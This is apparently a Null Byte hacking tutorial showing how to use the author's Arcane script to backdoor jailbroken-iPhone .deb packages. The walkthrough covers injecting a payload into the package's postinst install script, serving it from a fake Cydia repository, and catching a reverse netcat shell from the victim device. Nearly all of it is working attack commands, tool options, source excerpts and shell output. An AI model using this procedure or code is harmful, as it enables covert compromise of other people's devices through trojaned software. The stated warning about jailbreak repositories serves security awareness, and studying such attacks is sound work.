Hacking iOS: How to Embed Payloads into iPhone Packages with Arcane

How to Embed Payloads into iPhone Packages with Arcane

It's a common misconception that iPhones are impervious to cyberattacks and "more secure" than Android. And when an iPhone does get hacked, it's nearly impossible to tell that it happened.

Vulnerabilities in iOS are common, and Apple tries to tackle them with each security update it releases. To get started, consider all of the CVEs disclosed in the last year. That we know of, Apple issued over 180 patches so far in 2020, and likely a lot more that weren't reported.

How to Hack into an iPhone?

Jailbreaks released over the last decade use an extensive range of iOS exploits. Government agencies use undisclosed exploits to compromise iPhone's every day. And exploit acquisition platforms like Zerodium offers up to $2 million for private iOS vulnerability disclosures.

With that said, this article will not demonstrate a magic easy button for gaining access to anyone's iPhone. It will give readers an idea of what's possible with remote access to an iPhone and why it's dangerous to use jailbreak repositories.

Step 1: Jailbreak an iPhone

To follow this guide, a jailbroken iOS device is required. I'm testing this attack against an iPhone 7 Plus with iOS 13.4.1, as well as an iPhone 7 with iOS 13.5. Jailbreaking the iOS devices was accomplished using the unc0ver method. You could try alternative jailbreaks as well, such as Checkra1n.

Step 2: Clone the Arcane Repository

Arcane is a simple automation script designed to backdoor iOS packages and create the necessary resources to host Cydia repositories. I created Arcane for this article to make the process quick and accessible to beginners. Before cloning the repository, ensure the required dependencies are installed and up to date.

~$ sudo apt-get update && sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils git python3

[sudo] password for kali:
Get:1 http://kali.download/kali kali-rolling InRelease [30.5 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [16.7 MB]
Get:3 http://kali.download/kali kali-rolling/non-free amd64 Packages [197 kB]
Get:4 http://kali.download/kali kali-rolling/contrib amd64 Packages [96.4 kB]
Fetched 17.0 MB in 4s (3,928 kB/s)
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
coreutils is already the newest version (8.30-3+b1).
dpkg is already the newest version (1.19.7kali1).
python3 is already the newest version (3.8.2-3).
python3 set to manually installed.
The following additional packages will be installed:
   git-man (1:2.27.0-1)
   libbz2-1.0 (1.0.8-3)
Suggested packages:
   bzip2-doc (1.0.8-3)
   git-daemon-run (1:2.27.0-1)
   | git-daemon-sysvinit (1:2.27.0-1)
   git-doc (1:2.27.0-1)
   git-el (1:2.27.0-1)
   git-email (1:2.27.0-1)
   git-gui (1:2.27.0-1)
   gitk (1:2.27.0-1)
   gitweb (1:2.27.0-1)
   git-cvs (1:2.27.0-1)
   git-mediawiki (1:2.27.0-1)
   git-svn (1:2.27.0-1)
The following packages will be upgraded:
   bzip2 (1.0.8-2 => 1.0.8-3)
   git (1:2.26.2-1 => 1:2.27.0-1)
   git-man (1:2.26.2-1 => 1:2.27.0-1)
   libbz2-1.0 (1.0.8-2 => 1.0.8-3)
   netcat-traditional (1.10-41.1+b1 => 1.10-45)
5 upgraded, 0 newly installed, 0 to remove and 767 not upgraded.
Need to get 8,643 kB of archives.
After this operation, 2,424 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 bzip2 amd64 1.0.8-3 [49.2 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 libbz2-1.0 amd64 1.0.8-3 [45.7 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 netcat-traditional amd64 1.10-45 [67.5 kB]
Get:4 http://kali.download/kali kali-rolling/main amd64 git amd64 1:2.27.0-1 [6,707 kB]
Get:5 http://kali.download/kali kali-rolling/main amd64 git-man all 1:2.27.0-1 [1,774 kB]
Fetched 8,643 kB in 2s (4,982 kB/s)
apt-listchanges: Reading changelogs...
(Reading database ... 287092 files and directories currently installed.)
Preparing to unpack .../bzip2_1.0.8-3_amd64.deb ...
Unpacking bzip2 (1.0.8-3) over (1.0.8-2) ...
Preparing to unpack .../libbz2-1.0_1.0.8-3_amd64.deb ...
Unpacking libbz2-1.0:amd64 (1.0.8-3) over (1.0.8-2) ...
Setting up libbz2-1.0:amd64 (1.0.8-3) ...
(Reading database ... 287092 files and directories currently installed.)
Preparing to unpack .../netcat-traditional_1.10-45_amd64.deb ...
Unpacking netcat-traditional (1.10-45) over (1.10-41.1+b1) ...
Preparing to unpack .../git_1%3a2.27.0-1_amd64.deb ...
Unpacking git (1:2.27.0-1) over (1:2.26.2-1) ...
Preparing to unpack .../git-man_1%3a2.27.0-1_all.deb ...
Unpacking git-man (1:2.27.0-1) over (1:2.26.2-1) ...
Setting up netcat-traditional (1.10-45) ...
Setting up bzip2 (1.0.8-3) ...
Setting up git-man (1:2.27.0-1) ...
Setting up git (1:2.27.0-1) ...
Processing triggers for libc-bin (2.30-4) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for kali-menu (2020.2.2) ...

When that's done, clone the Arcane repository.

~$ sudo git clone https://github.com/tokyoneon/Arcane /opt/arcane

Cloning into '/opt/arcane'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 16 (delta 0), reused 16 (delta 0), pack-reused 0
Unpacking objects: 100% (16/16), 805.04 KiB | 2.95 MiB/s, done.

Recursively (-R) modify the ownership to make the files accessible without root privileges.

~$ sudo chown $USER:$USER -R /opt/arcane/

Change into the new /opt/arcane directory.

~$ cd /opt/arcane/

Elevate the permissions of the arcane.sh script to allow execution in Kali.

~/opt/arcane$ sudo chmod +x arcane.sh

To view the available options, execute Arcane with the --help argument.

~/opt/arcane$ ./arcane.sh --help

[░] ./arcane.sh --input package.deb --lhost <attacker ip> --lport <1337>

  -i, --input   iOS package to backdoor
  -f, --file    file containing commands to exec (default: not required)
  -h, --lhost   local ip address for nc listener
  -p, --lport   local port for netcat listener (default: 1337)
  -c, --cydia   generate resources for apt/cydia repository (default: disabled)
  -n, --netcat  autostart netcat listener (default: disabled)
  -u, --udp     enable udp (default: tcp)
  -x, --noart   if you hate awesome ascii art (default: enabled)
      --help    you're looking at it

Step 3: Backdoor an iOS Package

There's a "samples/" directory included in the Arcane repository that contains different packages compiled for the iOS architecture. Use the ls command to view the directory contents.

~/opt/arcane$ ls -la samples/

total 400
drwxr-xr-x 2 root root   4096 Aug  4 11:32 .
drwxr-xr-x 5 root root   4096 Aug  4 11:32 ..
-rw-r--r-- 1 root root 100748 Aug  4 11:32 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Aug  4 11:32 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  76688 Aug  4 11:32 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  60866 Aug  4 11:32 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root  13810 Aug  4 11:32 whois_5.3.2-1_iphoneos-arm.deb

Pulled from the official Bingner Cydia repo, all of the packages are usable when following along. For a complete list of available packages, use the below command to view the repository contents.

~/opt/arcane$ wget -qO- 'https://apt.bingner.com/dists/ios/1443.00/main/binary-iphoneos-arm/Packages'| awk -v i='https://apt.bingner.com/' '/debs\//{print i $2}'


Simply wget the package of your choosing. This walkthrough will use a package found in the "samples/" directory. Use the following arcane command to backdoor the package.

~/opt/arcane$ ./arcane.sh --input samples/whois_5.3.2-1_iphoneos-arm.deb --lhost --lport 20001 --cydia --netcat

                 v0.1 by @tokyoneon_

Below is a brief description of each argument, and you can watch the GIF below to see a package in action.

  • --input: This argument defines the file path to the desired package to backdoor.
  • --lhost: Defined as the attacker's IP address, the lhost (or localhost) is a required argument. It tells the backdoored package where Kali is on the network. In this case, my Kali system is on
  • --lport: Defined as an arbitrary value of 20001, the lport (or local port) tells the backdoored package where the Netcat listening port is.
  • --cydia: This argument instructs Arcane to generate the necessary files to host a Cydia repository.
  • --netcat: This argument tells Arcane to automatically start a Netcat listener with the given protocol and port.

When completed, the Arcane terminal will not be usable as the Netcat listener is waiting for an inbound connection.

Step 4: Host the Repository Resources

Open a new terminal in Kali and view the contents of the /tmp/cydia directory. Notice the backdoored package.

~$ ls -la /tmp/cydia/

-rw-r--r--  1 root root    29 Jul 29 14:44 index.html
-rw-r--r--  1 root root   639 Jul 29 14:44 Packages
-rw-r--r--  1 root root   494 Jul 29 14:44 Packages.bz2
-rw-r--r--  1 root root   143 Jul 29 14:44 Release
-rw-r--r--  1 root root 14064 Jul 29 14:44 whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb

Change into the directory and start a simple python3 server to make the files accessible to other devices (i.e., an iPhone) on the same network.

~$ cd /tmp/cydia; sudo python3 -m http.server 80

Serving HTTP on port 80 ( ...

Step 5: Add the Repository to Cydia

Ensure the jailbroken iOS device and Kali system are on the same Wi-Fi network. Then, open the Cydia app and navigate to the "Sources" tab. Select the "Edit" button in the top right, then the "Add" button in the top left.

When prompted for a URL, enter the IP address to the Kali system hosting the Python server. Be sure to remove the httpS in the URL as Cydia will try to add it by default. Select "Add Source" to add it as a repository. Finally, select "Return to Cydia" to find the newly added repository.

Step 6: Install the Backdoored Package

Select the repository to find the backdoored package. Ensure the Arcane terminal is still listening in Kali, then select "Install" and "Confirm" in Cydia. Cydia will install the package and execute the embedded payload.

How Arcane Works

In the Arcane terminal, a successful command execution will produce an "arcane>" shell prompt. Use sw_vers and uname to view the OS and kernel versions.

[░] /usr/bin/nc -v -l -p 20001
[░] starting netcat listener on port 20001 with tcp
listening on [any] 20001 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 56050

arcane> sw_vers
ProductName:    iPhone OS
ProductVersion: 13.4.1
BuildVersion:   17E262
arcane> uname -a
Darwin iPhone 19.4.0 Darwin Kernel Version 19.4.0: Mon Feb 24 22:04:12 PST 2020; root:xnu-6153.102.3~1/RELEASE_ARM64_T8010 iPhone9,4 arm64 D111AP Darwin

At this point, various post-exploitation attacks are possible, but let's talk about what Arcane did. A few things happen in the GIF shown in step 3.

In Kali, decompress the whois package just installed on the iOS device.

~$ dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp

Use tree to view the directory contents. Notice the "DEBIAN" directory containing a "control" and "postinst" file. Both files are significant to how Cydia indexes packages and how commands are executed during installations.

~$ tree /tmp/whois-decomp/

│   ├── control
│   └── postinst
└── usr
    └── bin
        └── whois

The "control" file (aka "control data") contains values that package management tools like dpkg use when installing packages. Arcane will either modify an existing control file or create it.

# The "control" file template. Most iOS packages will include a
# control file. In the event one is not found, Arcane will use the
# below template. The `$hacker` variable is used here to occupy
# various arbitrary fields.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";


# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
    # If no control is detected, create it using the template.
    echo "$controlTemp" > "$tmp/DEBIAN/control";
    status "created control file" "error with control template";
    # If a control file exists, Arcane will simply rename the package
    # as it appears in the list of available Cydia applications. This
    # makes the package easier to location in Cydia.
    msg "detected control file" succ;
    sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
    status "modified control file" "error with control";

It's possible to supply scripts as part of a package when installing, upgrading, or removing applications. Package maintainer scripts include the preinst, postinst, prerm, and postrm files. Arcane takes advantage of the "postinst" file to execute commands during the installation.

# The "post-installation" file. This file is generally responsible
# for executing commands on the OS after installing the required
# files. It's utilized by developers to manage and maintain various
# aspects of an installation. Arcane abuses this functionality by
# appending malicious Bash commands to the bottom of the file.

# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()
    # If --file is used, `cat` the command(s) into the postinst file.
    if [[ "$infile" ]]; then
        cat "$infile" >> "$postinst";
        # If no --file, utilize the simple Bash payload, previously
        # defined.
        echo -e "$payload" >> "$postinst";
        embed="generic shell command";
    status "embedded $embed into postinst" "error embedding backdoor";
    chmod 0755 "$postinst"

Readers are encouraged to review the Arcane source to better understand the underlining commands.

iOS Post-Exploitation Attacks

Apple's iOS and macOS are similar; both operating systems are derivatives of FreeBSD, and there's overlap in how the systems are set up, such as with launchctl, the keychain, and the filesystem structure.

However, readers will immediately notice wget, ifconfig, curl, netstat, and other familiar commands are not available since iOS does not have these binaries installed by default. Stay tuned to Null Byte for more, where I'll discuss workarounds for missing commands and post-exploitation attacks in more detail.

Follow me on Twitter @tokyoneon_ and GitHub to keep up with my current projects. And for questions and concerns, leave a comment or ping me on Twitter.

Just updated your iPhone? You'll find new features for Podcasts, News, Books, and TV, as well as important security improvements and fresh wallpapers. Find out what's new and changed on your iPhone with the iOS 17.5 update.

Cover photo, screenshots, and GIF by tokyoneon/Null Byte

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest